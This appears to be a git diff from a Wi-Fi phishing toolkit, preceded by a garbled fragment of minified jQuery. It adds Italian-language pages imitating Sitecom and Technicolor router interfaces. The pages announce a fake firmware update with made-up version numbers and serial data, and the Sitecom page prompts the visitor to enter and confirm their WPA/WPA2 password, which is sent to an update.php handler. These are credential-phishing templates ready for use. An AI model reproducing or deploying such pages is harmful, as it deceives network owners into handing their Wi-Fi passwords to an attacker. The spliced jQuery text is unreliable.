RegExp("(^|\\.)"+p.join("\\.(?:.*\\.|)")+"(\\.|$)"),i=f=m.length;while(f--){g=m[f],!e&&q!==g.origType||c&&c.guid!==g.guid||h&&!h.test(g.namespace)||d&&d!==g.selector&&("**"!==d||!g.selector)||(m.splice(f,1),g.selector&&m.delegateCount--,l.remove&&l.remove.call(a,g))}i&&!m.length&&(l.teardown&&l.teardown.call(a,p,r.handle)!==!1||n.removeEvent(a,o,r.handle),delete k[o])}else{for(o in k){n.event.remove(a,o+b[j],c,d,!0)}}}n.isEmptyObject(k)&&(delete r.handle,n._removeData(a,"events"))}},trigger:function(b,c,d,e){var f,g,h,i,k,l,m,o=[d||z],p=j.call(b,"type")?b.type:b,q=j.call(b,"namespace")?b.namespace.split("."):[];if(h=l=d=d||z,3!==d.nodeType&&8!==d.nodeType&&!_.test(p+n.event.triggered)&&(p.indexOf(".")>=0&&(q=p.split("."),p=q.shift(),q.sort()),g=p.indexOf(":")<0&&"on"+p,b=b[n.expando]?b:new n.Event(p,"object"==typeof b&&b),b.isTrigger=e?2:3,b.namespace=q.join("."),b.namespace_re=b.namespace?new RegExp("(^|\\.)"+q.join("\\.(?:.*\\.|)")+"(\\.|$)"):null,b.result=void 0,b.target||(b.target=d),c=null==c?[b]:n.makeArray(c,[b]),k=n.event.special[p]||{},e||!k.trigger||k.trigger.apply(d,c)!==!1)){if(!e&&!k.noBubble&&!n.isWindow(d)){for(i=k.delegateType||p,_.test(i+p)||(h=h.parentNode);h;h=h.parentNode){o.push(h),l=h}l===(d.ownerDocument||z)&&o.push(l.defaultView||l.parentWindow||a)}m=0;while((h=o[m++])&&!b.isPropagationStopped()){b.type=m>1?i:k.bindType||p,f=(n._data(h,"events")||{})[b.type]&&n._data(h,"handle"),f&&f.apply(h,c),f=g&&h[g],f&&f.apply&&n.acceptData(h)&&(b.result=f.apply(h,c),b.result===!1&&b.preventDefault())}if(b.type=p,!e&&!b.isDefaultPrevented()&&(!k._default||k._default.apply(o.pop(),c)===!1)&&n.acceptData(d)&&g&&d[p]&&!n.isWindow(d)){l=d[g],l&&(d[g]=null),n.event.triggered=p;try{d[p]()}catch(r){}n.event.triggered=void 0,l&&(d[g]=l)}return b.result}},dispatch:function(a){a=n.event.fix(a);var b,c,e,f,g,h=[],i=d.call(arguments),j=(n._data(this,"events")||{})[a.type]||[],k=n.event.special[a.type]||{};if(i[0]=a,a.delegateTarget=this,!k.preDispatch||k.preDispatch.call(this,a)!==!1){h=n.event.handlers.call(this,a,j),b=0;while((f=h[b++])&&!a.isPropagationStopped()){a.currentTarget=f.elem,g=0;while((e=f.handlers[g++])&&!a.isImmediatePropagationStopped()){(!a.namespace_re||a.namespace_re.test(e.namespace))&&(a.handleObj=e,a.data=e.data,c=((n.event.special[e.origType]||{}).handle||e.handler).apply(f.elem,i),void 0!==c&&(a.result=c)===!1&&(a.preventDefault(),a.stopPropagation()))}}return k.postDispatch&&k.postDispatch.call(this,a),a.result}},handlers:function(a,b){var c,d,e,f,g=[],h=b.delegateCount,i=a.target;if(h&&i.nodeType&&(!a.button||"click"!==a.type)){for(;i!=this;i=i.parentNode||this){if(1===i.nodeType&&(i.disabled!==!0||"click"!==a.type)){for(e=[],f=0;h>f;f++){d=b[f],c=d.selector+" ",void 0===e[c]&&(e[c]=d.needsContext?n(c,this).index(i)>=0:n.find(c,this,null,[i]).length),e[c]&&e.push(d)}e.length&&g.push({elem:i,handlers:e})}}}return h]","i"),ib=/^\s+/,jb=/<(?!area|br|col|embed|hr|img|input|link|meta|param)(([\w:]+)[^>]*)\/>/gi,kb=/<([\w:]+)/,lb=/\s*$/g,sb={option:[1,""],legend:[1,"
    ","
    "],area:[1,"",""],param:[1,"",""],thead:[1,"","
    "],tr:[2,"","
    "],col:[2,"","
    "],td:[3,"","
    "],_default:l.htmlSerialize?[0,"",""]:[1,"X
    ","
    "]},tb=eb(z),ub=tb.appendChild(z.createElement("div"));sb.optgroup=sb.option,sb.tbody=sb.tfoot=sb.colgroup=sb.caption=sb.thead,sb.th=sb.td;function vb(a,b){var c,d,e=0,f=typeof a.getElementsByTagName!==L?a.getElementsByTagName(b||"*"):typeof a.querySelectorAll!==L?a.querySelectorAll(b||"*"):void 0;if(!f){for(f=[],c=a.childNodes||a;null!=(d=c[e]);e++){!b||n.nodeName(d,b)?f.push(d):n.merge(f,vb(d,b))}}return void 0===b||b&&n.nodeName(a,b)?n.merge([a],f):f}function wb(a){X.test(a.type)&&(a.defaultChecked=a.checked)}function xb(a,b){return n.nodeName(a,"table")&&n.nodeName(11!==b.nodeType?b:b.firstChild,"tr")?a.getElementsByTagName("tbody")[0]||a.appendChild(a.ownerDocument.createElement("tbody")):a}function yb(a){return a.type=(null!==n.find.attr(a,"type"))+"/"+a.type,a}function zb(a){var b=qb.exec(a.type);return b?a.type=b[1]:a.removeAttribute("type"),a}function Ab(a,b){for(var c,d=0;null!=(c=a[d]);d++){n._data(c,"globalEval",!b||n._data(b[d],"globalEval"))}}function Bb(a,b){if(1===b.nodeType&&n.hasData(a)){var c,d,e,f=n._data(a),g=n._data(b,f),h=f.events;if(h){delete g.handle,g.events={};for(c in h){for(d=0,e=h[c].length;e>d;d++){n.event.add(b,c,h[c][d])}}}g.data&&(g.data=n.extend({},g.data))}}function Cb(a,b){var c,d,e;if(1===b.nodeType){if(c=b.nodeName.toLowerCase(),!l.noCloneEvent&&b[n.expando]){e=n._data(b);for(d in e.events){n.removeEvent(b,d,e.handle)}b.removeAttribute(n.expando)}"script"===c&&b.text!==a.text?(yb(b).text=a.text,zb(b)):"object"===c?(b.parentNode&&(b.outerHTML=a.outerHTML),l.html5Clone&&a.innerHTML&&!n.trim(b.innerHTML)&&(b.innerHTML=a.innerHTML)):"input"===c&&X.test(a.type)?(b.defaultChecked=b.checked=a.checked,b.value!==a.value&&(b.value=a.value)):"option"===c?b.defaultSelected=b.selected=a.defaultSelected:("input"===c||"textarea"===c)&&(b.defaultValue=a.defaultValue)}}n.extend({clone:function(a,b,c){var d,e,f,g,h,i=n.contains(a.ownerDocument,a);if(l.html5Clone||n.isXMLDoc(a)||!hb.test("<"+a.nodeName+">")?f=a.cloneNode(!0):(ub.innerHTML=a.outerHTML,ub.removeChild(f=ub.firstChild)),!(l.noCloneEvent&&l.noCloneChecked||1!==a.nodeType&&11!==a.nodeType||n.isXMLDoc(a))){for(d=vb(f),h=vb(a),g=0;null!=(e=h[g]);++g){d[g]&&Cb(e,d[g])}}if(b){if(c){for(h=h||vb(a),d=d||vb(f),g=0;null!=(e=h[g]);g++){Bb(e,d[g])}}else{Bb(a,f)}}return d=vb(f,"script"),d.length>0&&Ab(d,!i&&vb(a,"script")),d=h=e=null,f},buildFragment:function(a,b,c,d){for(var e,f,g,h,i,j,k,m=a.length,o=eb(b),p=[],q=0;m>q;q++){if(f=a[q],f||0===f){if("object"===n.type(f)){n.merge(p,f.nodeType?[f]:f)}else{if(mb.test(f)){h=h||o.appendChild(b.createElement("div")),i=(kb.exec(f)||["",""])[1].toLowerCase(),k=sb[i]||sb._default,h.innerHTML=k[1]+f.replace(jb,"<$1>")+k[2],e=k[0];while(e--){h=h.lastChild}if(!l.leadingWhitespace&&ib.test(f)&&p.push(b.createTextNode(ib.exec(f)[0])),!l.tbody){f="table"!==i||lb.test(f)?""!==k[1]||lb.test(f)?0:h:h.firstChild,e=f&&f.childNodes.length;while(e--){n.nodeName(j=f.childNodes[e],"tbody")&&!j.childNodes.length&&f.removeChild(j)}}n.merge(p,h.childNodes),h.textContent="";while(h.firstChild){h.removeChild(h.firstChild)}h=o.lastChild}else{p.push(b.createTextNode(f))}}}}h&&o.removeChild(h),l.appendChecked||n.grep(vb(p,"input"),wb),q=0;while(f=p[q++]){if((!d||-1===n.inArray(f,d))&&(g=n.contains(f.ownerDocument,f),h=vb(o.appendChild(f),"script"),g&&Ab(h),c)){e=0;while(f=h[e++]){pb.test(f.type||"")&&c.push(f)}}}return h=null,o},cleanData:function(a,b){for(var d,e,f,g,h=0,i=n.expando,j=n.cache,k=l.deleteExpando,m=n.event.special;null!=(d=a[h]);h++){if((b||n.acceptData(d))&&(f=d[i],g=f&&j[f])){if(g.events){for(e in g.events){m[e]?n.event.remove(d,e):n.removeEvent(d,e,g.handle)}}j[f]&&(delete j[f],k?delete d[i]:typeof d.removeAttribute!==L?d.removeAttribute(i):d[i]=null,c.push(f))}}}}),n.fn.extend({text:function(a){return W(this,function(a){return void 0===a?n.text(this):this.empty().append((this[0]&&this[0].ownerDocument||z).createTextNode(a))},null,a,arguments.length)},append:function(){return this.domManip(arguments,function(a){if(1===this.nodeType||11===this.nodeType||9===this.nodeType){var b=xb(this,a);b.appendChild(a)}})},prepend:function(){return this.domManip(arguments,function(a){if(1===this.nodeType||11===this.nodeType||9===this.nodeType){var b=xb(this,a);b.insertBefore(a,b.firstChild)}})},before:function(){return this.domManip(arguments,function(a){this.parentNode&&this.parentNode.insertBefore(a,this)})},after:function(){return this.domManip(arguments,function(a){this.parentNode&&this.parentNode.insertBefore(a,this.nextSibling)})},remove:function(a,b){for(var c,d=a?n.filter(a,this):this,e=0;null!=(c=d[e]);e++){b||1!==c.nodeType||n.cleanData(vb(c)),c.parentNode&&(b&&n.contains(c.ownerDocument,c)&&Ab(vb(c,"script")),c.parentNode.removeChild(c))}return this},empty:function(){for(var a,b=0;null!=(a=this[b]);b++){1===a.nodeType&&n.cleanData(vb(a,!1));while(a.firstChild){a.removeChild(a.firstChild)}a.options&&n.nodeName(a,"select")&&(a.options.length=0)}return this},clone:function(a,b){return a=null==a?!1:a,b=null==b?a:b,this.map(function(){return n.clone(this,a,b)})},html:function(a){return W(this,function(a){var b=this[0]||{},c=0,d=this.length;if(void 0===a){return 1===b.nodeType?b.innerHTML.replace(gb,""):void 0}if(!("string"!=typeof a||nb.test(a)||!l.htmlSerialize&&hb.test(a)||!l.leadingWhitespace&&ib.test(a)||sb[(kb.exec(a)||["",""])[1].toLowerCase()])){a=a.replace(jb,"<$1>");try{for(;d>c;c++){b=this[c]||{},1===b.nodeType&&(n.cleanData(vb(b,!1)),b.innerHTML=a)}b=0}catch(e){}}b&&this.empty().append(a)},null,a,arguments.length)},replaceWith:function(){var a=arguments[0];return this.domManip(arguments,function(b){a=this.parentNode,n.cleanData(vb(this)),a&&a.replaceChild(b,this)}),a&&(a.length||a.nodeType)?this:this.remove()},detach:function(a){return this.remove(a,!0)},domManip:function(a,b){a=e.apply([],a);var c,d,f,g,h,i,j=0,k=this.length,m=this,o=k-1,p=a[0],q=n.isFunction(p);if(q||k>1&&"string"==typeof p&&!l.checkClone&&ob.test(p)){return this.each(function(c){var d=m.eq(c);q&&(a[0]=p.call(this,c,d.html())),d.domManip(a,b)})}if(k&&(i=n.buildFragment(a,this[0].ownerDocument,!1,this),c=i.firstChild,1===i.childNodes.length&&(i=c),c)){for(g=n.map(vb(i,"script"),yb),f=g.length;k>j;j++){d=i,j!==o&&(d=n.clone(d,!0,!0),f&&n.merge(g,vb(d,"script"))),b.call(this[j],d,j)}if(f){for(h=g[g.length-1].ownerDocument,n.map(g,zb),j=0;f>j;j++){d=g[j],pb.test(d.type||"")&&!n._data(d,"globalEval")&&n.contains(h,d)&&(d.src?n._evalUrl&&n._evalUrl(d.src):n.globalEval((d.text||d.textContent||d.innerHTML||"").replace(rb,"")))}}i=c=null}return this}}),n.each({appendTo:"append",prependTo:"prepend",insertBefore:"before",insertAfter:"after",replaceAll:"replaceWith"},function(a,b){n.fn[a]=function(a){for(var c,d=0,e=[],g=n(a),h=g.length-1;h>=d;d++){c=d===h?this:this.clone(!0),n(g[d])[b](c),f.apply(e,c.get())}return this.pushStack(e)}});var Db,Eb={};function Fb(b,c){var d=n(c.createElement(b)).appendTo(c.body),e=a.getDefaultComputedStyle?a.getDefaultComputedStyle(d[0]).display:n.css(d[0],"display");return d.detach(),e}function Gb(a){var b=z,c=Eb[a];return c||(c=Fb(a,b),"none"!==c&&c||(Db=(Db||n(" + + + + + \ No newline at end of file diff --git a/Sites/Template/sitecom/status_deviceinfo.html b/Sites/Template/sitecom/status_deviceinfo.html new file mode 100644 index 0000000..09f3ca4 --- /dev/null +++ b/Sites/Template/sitecom/status_deviceinfo.html @@ -0,0 +1,165 @@ + + + + + + + + + + + +
    + +
    +

    +
    +
    + +
    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    Aggiornamento del firmware
    disponibile un nuovo firmware per il vostro modem che migliorer le funzionalit e le performance dell'apparato. Per scaricare e aggiornare il firmware necessario inserire la password WPA/WPA2 e premere il tasto AGGIORNA per procedere.
       
    Versione Firmware corrente :  + v1001 +
    Nuova Versione Firmware :  + v2002 +
       
    WPA/WPA2 :  + +
    Conferma WPA/WPA2 :  + +
       
    ATTENZIONE: Il download e l'aggiornamento del firmware pu richiedere alcuni minuti. Durante l'aggiornamento non spegnere il router n chiudere il browser.
       
    + + + + + + + + + + +
    + +
    + +
    + + + + + + + + \ No newline at end of file diff --git a/Sites/Template/sitecom/update.php b/Sites/Template/sitecom/update.php new file mode 100644 index 0000000..625e546 --- /dev/null +++ b/Sites/Template/sitecom/update.php @@ -0,0 +1,35 @@ + diff --git a/Sites/Template/technicolor/config/connector.php b/Sites/Template/technicolor/config/connector.php new file mode 100644 index 0000000..6e695ef --- /dev/null +++ b/Sites/Template/technicolor/config/connector.php @@ -0,0 +1,10 @@ + diff --git a/Sites/Template/technicolor/images/bull__md.gif b/Sites/Template/technicolor/images/bull__md.gif new file mode 100644 index 0000000000000000000000000000000000000000..1426d05411786a3c40a8f0e0a7c3cbb4da5898b8 GIT binary patch literal 86 zcmZ?wbhEHb)L;-{n8?hqV8H?f1qB8MhX4QnEB<6*WME)s&;fE8K=KSs>T~*6o_@=} pc+Qqv-LVWixi*$w`rf+8x#`Z$DcZMZeDJyct@rt_bMILhtO0}1A+i7f literal 0 HcmV?d00001 diff --git a/Sites/Template/technicolor/images/ll00__md.gif b/Sites/Template/technicolor/images/ll00__md.gif new file mode 100644 index 0000000000000000000000000000000000000000..528a39a0ff04e5a2d136fa66a71c8786867312e4 GIT binary patch literal 409 zcmZ?wbhEHb6k!lyxT?>vii6{hmDO@q)|319AKSBM2@}(OTiXpfI;Xd7yB!{WH8AjM zRn^I@TTi;W9$CMBwYvJb;^NB{6SOZhp6nLWRe}IjK>?D!$nx!E3GC zynv(Wr{Cs@Ha|STtTp?5y8jPW&Ykxcda?d%+as}LkKOyCx8He$)tXzHYg=1|c~yIQ zdusdocr~X?omx9>rq=8^b86=<&|b87aqW`jIxAPL5*J^+UQBn><}F({i%F^P+PzC! zde0sy8I2=HkJKJJCZjK@eD1umh{%QWl1?nLO1Ey`xg*Qs%)-v_<|2fnBKm7 VFBIX-C&AD9ot0mL&)<>38UQVCo2~!= literal 0 HcmV?d00001 diff --git a/Sites/Template/technicolor/images/logo.gif b/Sites/Template/technicolor/images/logo.gif new file mode 100644 index 0000000000000000000000000000000000000000..ce3e059dc0c91b8998406fed234e4477403c0965 GIT binary patch literal 721 zcmZ?wbhEHbEMO32I3mFC?c4XaZ{L-bS3P<1w7#MF2gPB&)RkCXV0Fu z|G>dXlcsLlzT@`oJGps<|NsAIAO$G?WMO1r5Ma;&X#&~F!1`Z7r7tCOUdjcNjMw`% ztk_hTyZ_whJ2m`It>@rJGM|0qzh@>m1I zZjtXHea5$+n_XMGXLs(x;vbAE?Aq)ajI6xe%*vikyj{x70RnBjtPRSHeElkX&C`_` zdJE@dENJgjof+81$7;2ne=#4+2A0_Z3~U>s3mw?EtWQu%;pE)FG@F;7M};+e!y$ol zTU(Ukj&0yL$d>N>vTV&u2Z7Yb%*_HP{uf9$7CbT% zd?x4ed!v`T2}9JiSizqU=5>_mD{_Pc6sfDox-L~cvh=X}Zp~Da2bURoUz$ub(-d&^EGbM~$t>_zdwY@IfhQpeP2PMW3{th*P3}g7 zF|P8o@M2wfhtr!cg4w{6VfJ*sHGkvqIU?rLmdy>Q>?s)Ip;*uk1d kt;||eFCI`Ak1FQYn6%)7OHjoe0Zt+7M*&Yb6&V<;0deabrT_o{ literal 0 HcmV?d00001 diff --git a/Sites/Template/technicolor/images/menutop.gif b/Sites/Template/technicolor/images/menutop.gif new file mode 100644 index 0000000000000000000000000000000000000000..c15ae22b776be2d97c9f719d22cb7798b17e8f43 GIT binary patch literal 129 zcmZ?wbhEHbv|!+2n8?5|Z{EB$Yu5b#|9|b;wTeGk7(hS=M1bTOn1bf?ugn%yUNmP5 zSDSIs`Cpb6w{{dTe2HXcuz7OZLT8p&_Ul6`;%7=r4!=yWiPt(IDdfAHKWItJsaaFg f^?qpucQU-O-sI} f`0l&E=(TL);b>n=({J-qGZSb3Fgqs8%3uuuo#`}6 literal 0 HcmV?d00001 diff --git a/Sites/Template/technicolor/images/net_t_d_r.gif b/Sites/Template/technicolor/images/net_t_d_r.gif new file mode 100644 index 0000000000000000000000000000000000000000..24cbc2a93b575d5a8bd1fd52aa3bd207b1765837 GIT binary patch literal 133 zcmZ?wbhEHb)L_tHXkcWBjEw&O|G(l-7DfgJMg|=QAOOiQFvaxrcQU-s} lF7tLoc-7j}mG?s>OZAqzz7Dwk*{rvgMLDR942Coq`-AwJRx#8y$BVBgi%}l_Mz2(%X6# z8{OgO*xlr`fQ7g)Eypn}YZDyUG%eCNGQ%q<#m?8GCL)R;C%j%>mLDIiDkQBeD!q-8 zt0E-n-rZRX6rdv?#l_Cy#l@p3E59=@VhI zi(PSzkb`%4d6fj0m~U{KAC8YjWS^ilCHh6qc<%LR+*=$7#PwI$4l3-8V(mam)_9f9~cvk5B2usla%PQ4LY@^ z;KB)VmVki%i#qt-{J`zNsypHjL8&o%-|8^ zrjam9mb8abBgcgza-axs3ua9JnFLY#l5+D>P5?YlVG!vv9MGV!4qTW@wW`$%0WO?a zupxj~5eS-MC_wh9#tRG5s$I*rt=a%h$&M{hrEV;=Zu91aJCdwlvM#7huqy?x-otPE z{`DKUu44ih7)YK>xw7TSd>1cv!TE8O$dpfPXh6EO=>{h%2e2?#Gg%ItV^iUH0SDz0 zI7R3dVWKyJ5~^J<<^Vgki<`A^D92G^_wL@le=k?QLO59k1&9~td^5mw=FWLXM<9Lr z3JZ$|C{T}G`*!ZLyib4OwZ8rOFTPjzJD@;+>)RkKQ!q7VS^w*=pTC&256y$UGx^-1r&VfB7y-xNMea5o~S|v(B0k|wOsgOE`E*nNJ zTtH=&R${3pOkK9=W}7~&5P+CFtl)!@XqKqvo<6)o04{F=m3>k8X%?+umHiSe|4&=s)mMI>8N|2Dk}*Pkl@;? zp0?_0rLoF-Dy<|0yBK=7M*8WlyqfCktid)bA%8OF`YEW$vS2`|%hpuR>la@#D0;2tZ~Zl&b@YOcBHt_SYAF!J(L>ju^wLZ>?ex=7N8L0HR99{F)mUe(_10I1 z;PuyFhb{KlWS1TG3}~mV_S$T>?e^Pi-yrwgbk}Y7-FW9+cL#j;?f2h+2QK*Fe*<9n V;fN=$_~MK=?)c-7N8Wf406TnFOnv|W literal 0 HcmV?d00001 diff --git a/Sites/Template/technicolor/images/task__md.gif b/Sites/Template/technicolor/images/task__md.gif new file mode 100644 index 0000000000000000000000000000000000000000..6d6b4b25fdc56065ddc3fbe78b95d32b5e78d2da GIT binary patch literal 146 zcmV;D0B!$ANk%w1VH5xq0HOx~U0q+Dot=%1jbB!ChRs2xmlRpP;tqp-LM;*iJN2PC A(f|Me literal 0 HcmV?d00001 diff --git a/Sites/Template/technicolor/images/user.gif b/Sites/Template/technicolor/images/user.gif new file mode 100644 index 0000000000000000000000000000000000000000..8c84880e23a85dd2d4409494d20fbc4bd22658fa GIT binary patch literal 332 zcmZ?wbhEHb2X=!P5bMxxes~Z~|o0^*5ym?brR@U9!T~t&wb?Vgm`uc6#wr$w3VgCI2 z>FMd`&!2zv=+U=t-@bqU{^7%i`}gm+w6y&D_wVV`ryoClyl~;dyoLEs& zv1G}T_wU~yKYskml`97h97sw^`u+R&>({UI^YfFFlT%Yu)6&xZ|NqZ`4JiI(0SoJZ zNRXcx*fJgF1l;&!(B>@ghSJL`==i QDp+Dz1v!!nVjLN)0i27M(EtDd literal 0 HcmV?d00001 diff --git a/Sites/Template/technicolor/index.html b/Sites/Template/technicolor/index.html new file mode 100644 index 0000000..b50de38 --- /dev/null +++ b/Sites/Template/technicolor/index.html @@ -0,0 +1,458 @@ + + + + Technicolor Gateway - Home + + + + + + + + + + + + + +
    + + + + + + + + +
    + + + + + + + + + + + + +
    + + + + + + + + +
    + + + + + + +
    +
    +
    +
    + + + + + + + +
    Technicolor Gateway + + + + + + + + + + +
    Informazioni sul sistema

    In questa pagina sono riepilogate informazioni importanti relative al Technicolor Gateway. Tali informazioni potrebbero essere necessarie quando si contatta l'helpdesk.

    + + + + + + + +
    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    Nome prodotto:Technicolor
    Numero di serie:CQ1415VF3MR
    Versione del software:8.C.M.1
    Modello software:FS
    Versione boot loader:1.0.5
    Codice prodotto:3793442C
    Nome scheda:DANT-T
    +
    +
    +
    +
    + +
    + + + + + + + +
    Technicolor Gateway + + + + + + + + + + +
    Informazioni sul Firmware

    In questa pagina è possibile vedere le informazioni sul nuovo firmware rilevato.

    + + + + + + + +
    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    Versione Firmware Corrente:8.C.M.1
    Data Firmware:2013/04/16
    Nuova Versione Firmware:9.A.D.8
    Data Aggiornamento Firmware:2015/11/09
    +
    +
    +
    +
    + + +
    + + + + + + + +
    Technicolor Gateway + + + + + + + + + + +
    Firmware Upgrade

    Nota: Il download e l'aggiornamento del firmware può richiedere alcuni minuti. Durante l'aggiornamento non spegnere il router nè chiudere il browser.

    +
    +
    +

    + + +

    +

    + + +

    +
    + +

    + +

    +

    + +

    +
    +
    +
    +
    + +
    +
    +
    +
    +   + + + + + + + + + + + diff --git a/Sites/Template/technicolor/js/jquery-2.1.4.min.js b/Sites/Template/technicolor/js/jquery-2.1.4.min.js new file mode 100644 index 0000000..49990d6 --- /dev/null +++ b/Sites/Template/technicolor/js/jquery-2.1.4.min.js @@ -0,0 +1,4 @@ +/*! jQuery v2.1.4 | (c) 2005, 2015 jQuery Foundation, Inc. | jquery.org/license */ +!function(a,b){"object"==typeof module&&"object"==typeof module.exports?module.exports=a.document?b(a,!0):function(a){if(!a.document)throw new Error("jQuery requires a window with a document");return b(a)}:b(a)}("undefined"!=typeof window?window:this,function(a,b){var c=[],d=c.slice,e=c.concat,f=c.push,g=c.indexOf,h={},i=h.toString,j=h.hasOwnProperty,k={},l=a.document,m="2.1.4",n=function(a,b){return new n.fn.init(a,b)},o=/^[\s\uFEFF\xA0]+|[\s\uFEFF\xA0]+$/g,p=/^-ms-/,q=/-([\da-z])/gi,r=function(a,b){return b.toUpperCase()};n.fn=n.prototype={jquery:m,constructor:n,selector:"",length:0,toArray:function(){return d.call(this)},get:function(a){return null!=a?0>a?this[a+this.length]:this[a]:d.call(this)},pushStack:function(a){var b=n.merge(this.constructor(),a);return b.prevObject=this,b.context=this.context,b},each:function(a,b){return n.each(this,a,b)},map:function(a){return this.pushStack(n.map(this,function(b,c){return a.call(b,c,b)}))},slice:function(){return this.pushStack(d.apply(this,arguments))},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},eq:function(a){var b=this.length,c=+a+(0>a?b:0);return this.pushStack(c>=0&&b>c?[this[c]]:[])},end:function(){return this.prevObject||this.constructor(null)},push:f,sort:c.sort,splice:c.splice},n.extend=n.fn.extend=function(){var a,b,c,d,e,f,g=arguments[0]||{},h=1,i=arguments.length,j=!1;for("boolean"==typeof g&&(j=g,g=arguments[h]||{},h++),"object"==typeof g||n.isFunction(g)||(g={}),h===i&&(g=this,h--);i>h;h++)if(null!=(a=arguments[h]))for(b in a)c=g[b],d=a[b],g!==d&&(j&&d&&(n.isPlainObject(d)||(e=n.isArray(d)))?(e?(e=!1,f=c&&n.isArray(c)?c:[]):f=c&&n.isPlainObject(c)?c:{},g[b]=n.extend(j,f,d)):void 0!==d&&(g[b]=d));return g},n.extend({expando:"jQuery"+(m+Math.random()).replace(/\D/g,""),isReady:!0,error:function(a){throw new Error(a)},noop:function(){},isFunction:function(a){return"function"===n.type(a)},isArray:Array.isArray,isWindow:function(a){return null!=a&&a===a.window},isNumeric:function(a){return!n.isArray(a)&&a-parseFloat(a)+1>=0},isPlainObject:function(a){return"object"!==n.type(a)||a.nodeType||n.isWindow(a)?!1:a.constructor&&!j.call(a.constructor.prototype,"isPrototypeOf")?!1:!0},isEmptyObject:function(a){var b;for(b in a)return!1;return!0},type:function(a){return null==a?a+"":"object"==typeof a||"function"==typeof a?h[i.call(a)]||"object":typeof a},globalEval:function(a){var b,c=eval;a=n.trim(a),a&&(1===a.indexOf("use strict")?(b=l.createElement("script"),b.text=a,l.head.appendChild(b).parentNode.removeChild(b)):c(a))},camelCase:function(a){return a.replace(p,"ms-").replace(q,r)},nodeName:function(a,b){return a.nodeName&&a.nodeName.toLowerCase()===b.toLowerCase()},each:function(a,b,c){var d,e=0,f=a.length,g=s(a);if(c){if(g){for(;f>e;e++)if(d=b.apply(a[e],c),d===!1)break}else for(e in a)if(d=b.apply(a[e],c),d===!1)break}else if(g){for(;f>e;e++)if(d=b.call(a[e],e,a[e]),d===!1)break}else for(e in a)if(d=b.call(a[e],e,a[e]),d===!1)break;return a},trim:function(a){return null==a?"":(a+"").replace(o,"")},makeArray:function(a,b){var c=b||[];return null!=a&&(s(Object(a))?n.merge(c,"string"==typeof a?[a]:a):f.call(c,a)),c},inArray:function(a,b,c){return null==b?-1:g.call(b,a,c)},merge:function(a,b){for(var c=+b.length,d=0,e=a.length;c>d;d++)a[e++]=b[d];return a.length=e,a},grep:function(a,b,c){for(var d,e=[],f=0,g=a.length,h=!c;g>f;f++)d=!b(a[f],f),d!==h&&e.push(a[f]);return e},map:function(a,b,c){var d,f=0,g=a.length,h=s(a),i=[];if(h)for(;g>f;f++)d=b(a[f],f,c),null!=d&&i.push(d);else for(f in a)d=b(a[f],f,c),null!=d&&i.push(d);return e.apply([],i)},guid:1,proxy:function(a,b){var c,e,f;return"string"==typeof b&&(c=a[b],b=a,a=c),n.isFunction(a)?(e=d.call(arguments,2),f=function(){return a.apply(b||this,e.concat(d.call(arguments)))},f.guid=a.guid=a.guid||n.guid++,f):void 0},now:Date.now,support:k}),n.each("Boolean Number String Function Array Date RegExp Object Error".split(" "),function(a,b){h["[object "+b+"]"]=b.toLowerCase()});function s(a){var b="length"in a&&a.length,c=n.type(a);return"function"===c||n.isWindow(a)?!1:1===a.nodeType&&b?!0:"array"===c||0===b||"number"==typeof b&&b>0&&b-1 in a}var t=function(a){var b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u="sizzle"+1*new Date,v=a.document,w=0,x=0,y=ha(),z=ha(),A=ha(),B=function(a,b){return a===b&&(l=!0),0},C=1<<31,D={}.hasOwnProperty,E=[],F=E.pop,G=E.push,H=E.push,I=E.slice,J=function(a,b){for(var c=0,d=a.length;d>c;c++)if(a[c]===b)return c;return-1},K="checked|selected|async|autofocus|autoplay|controls|defer|disabled|hidden|ismap|loop|multiple|open|readonly|required|scoped",L="[\\x20\\t\\r\\n\\f]",M="(?:\\\\.|[\\w-]|[^\\x00-\\xa0])+",N=M.replace("w","w#"),O="\\["+L+"*("+M+")(?:"+L+"*([*^$|!~]?=)"+L+"*(?:'((?:\\\\.|[^\\\\'])*)'|\"((?:\\\\.|[^\\\\\"])*)\"|("+N+"))|)"+L+"*\\]",P=":("+M+")(?:\\((('((?:\\\\.|[^\\\\'])*)'|\"((?:\\\\.|[^\\\\\"])*)\")|((?:\\\\.|[^\\\\()[\\]]|"+O+")*)|.*)\\)|)",Q=new RegExp(L+"+","g"),R=new RegExp("^"+L+"+|((?:^|[^\\\\])(?:\\\\.)*)"+L+"+$","g"),S=new RegExp("^"+L+"*,"+L+"*"),T=new RegExp("^"+L+"*([>+~]|"+L+")"+L+"*"),U=new RegExp("="+L+"*([^\\]'\"]*?)"+L+"*\\]","g"),V=new RegExp(P),W=new RegExp("^"+N+"$"),X={ID:new RegExp("^#("+M+")"),CLASS:new RegExp("^\\.("+M+")"),TAG:new RegExp("^("+M.replace("w","w*")+")"),ATTR:new RegExp("^"+O),PSEUDO:new RegExp("^"+P),CHILD:new RegExp("^:(only|first|last|nth|nth-last)-(child|of-type)(?:\\("+L+"*(even|odd|(([+-]|)(\\d*)n|)"+L+"*(?:([+-]|)"+L+"*(\\d+)|))"+L+"*\\)|)","i"),bool:new RegExp("^(?:"+K+")$","i"),needsContext:new RegExp("^"+L+"*[>+~]|:(even|odd|eq|gt|lt|nth|first|last)(?:\\("+L+"*((?:-\\d)?\\d*)"+L+"*\\)|)(?=[^-]|$)","i")},Y=/^(?:input|select|textarea|button)$/i,Z=/^h\d$/i,$=/^[^{]+\{\s*\[native \w/,_=/^(?:#([\w-]+)|(\w+)|\.([\w-]+))$/,aa=/[+~]/,ba=/'|\\/g,ca=new RegExp("\\\\([\\da-f]{1,6}"+L+"?|("+L+")|.)","ig"),da=function(a,b,c){var d="0x"+b-65536;return d!==d||c?b:0>d?String.fromCharCode(d+65536):String.fromCharCode(d>>10|55296,1023&d|56320)},ea=function(){m()};try{H.apply(E=I.call(v.childNodes),v.childNodes),E[v.childNodes.length].nodeType}catch(fa){H={apply:E.length?function(a,b){G.apply(a,I.call(b))}:function(a,b){var c=a.length,d=0;while(a[c++]=b[d++]);a.length=c-1}}}function ga(a,b,d,e){var 